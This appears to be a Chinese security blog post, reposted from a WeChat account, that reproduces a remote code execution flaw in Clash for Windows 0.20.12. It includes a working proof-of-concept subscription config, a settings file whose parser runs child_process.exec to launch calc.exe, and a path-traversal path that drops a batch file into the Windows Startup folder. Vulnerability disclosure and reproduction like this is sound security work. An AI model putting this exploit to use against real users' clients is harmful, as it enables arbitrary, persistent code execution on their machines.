cfw的这个漏洞出来也有几天了, 一直比较忙, 没有空去看, 今天研究一下
软件版本
0.20.12
漏洞描述
Windows 上的 clash_for_windows 在 0.20.12 在订阅一个恶意链接时存在远程命令执行漏洞。因为对订阅文件中 rule-providers 的 path 的不安全处理导致 cfw-setting.yaml 会被覆盖,cfw-setting.yaml 中 parsers 的 js代码将会被执行。
漏洞分析:
根据描述, 不难看出该漏洞的原理是利用了clash的规则提供者进行远程更新的时候对路径的不安全处理导致可以覆盖掉clash for windows的配置文件, 而clash的的配置文件中又保存了clash for windows的各种设置, 如pasers等...而pasers这项功能可以实现执行JavaScript代码, 实现通过js来调用本地的应用程序等功能, 从而获得各种系统权限
复现步骤
这里我们使用一个网上他人已经制作好的在线clash配置yaml文件, 文件内容为该段poc, 其中的url字段为在线服务器的url/ip地址, 这样由该yaml形成的clash订阅地址就成为了我们的利用的关键点, 一旦任何一个订阅地址中被攻击者插入该恶意代码, 即可对订阅者造成危害.
在进行远程的订阅地址下载后会进行更新, 该更新会将本地的配置文件进行覆盖.
clash默认的配置文件存放在C:/Users/$username/.config/clash
打开刚刚的配置文件, 根据其中的内容, 我们可知其插入的这段代码会调用电脑的计算器
现在再对clash的任何配置文件进行手动更新, 都会无法更新, 因而只有重启clash客户端后才会产生效果, 此时如果重启了clash for windows客户端, 再次对订阅地址进行更新或者下载任何新的订阅(不论是不是被插入恶意代码的订阅)都会执行cfw-settings.yaml中的恶意代码, 这里可见不论更新哪个订阅都会启动计算器, 该漏洞截止至发文日还未被修复
PoC
config.yaml
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
rule-providers:
p:
type: http
behavior: domain
url: "http://this.your.url/cfw-settings.yaml"
path: ./cfw-settings.yaml
interval: 86400
cfw-settings.yaml
payload:
- DOMAIN-SUFFIX,acl4.ssr,全球直连
showNewVersionIcon: true
hideAfterStartup: false
randomControllerPort: true
runTimeFormat: "hh : mm : ss"
trayOrders:
- - icon
- - status
- traffic
- text
hideTrayIcon: false
connShowProcess: true
showTrayProxyDelayIndicator: true
profileParsersText: >-
parsers:
- reg: .*
code:
module.exports.parse = async (raw, { axios, yaml, notify, console }, { name, url, interval, selected }) => {
require("child_process").exec("calc.exe");
return raw;
}
其他补充
由于是rule-providers的自定义path的问题,还有其他利用方式,比如用目录穿越写入开机启动项
path: ../../../../../../Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hack.bat
不过杀毒软件会弹框
漏洞披露:
https://github.com/Fndroid/clash_for_windows_pkg/issues/3891
往期推荐
同时欢迎各位加入交流群进行交流,群里会不定期的分享一些工具和教程,添加时请根据您的来意备注安全交流或软件资源交流
原文始发于微信公众号(安全X档案):Clash for windows又爆远程代码执行高危漏洞 漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论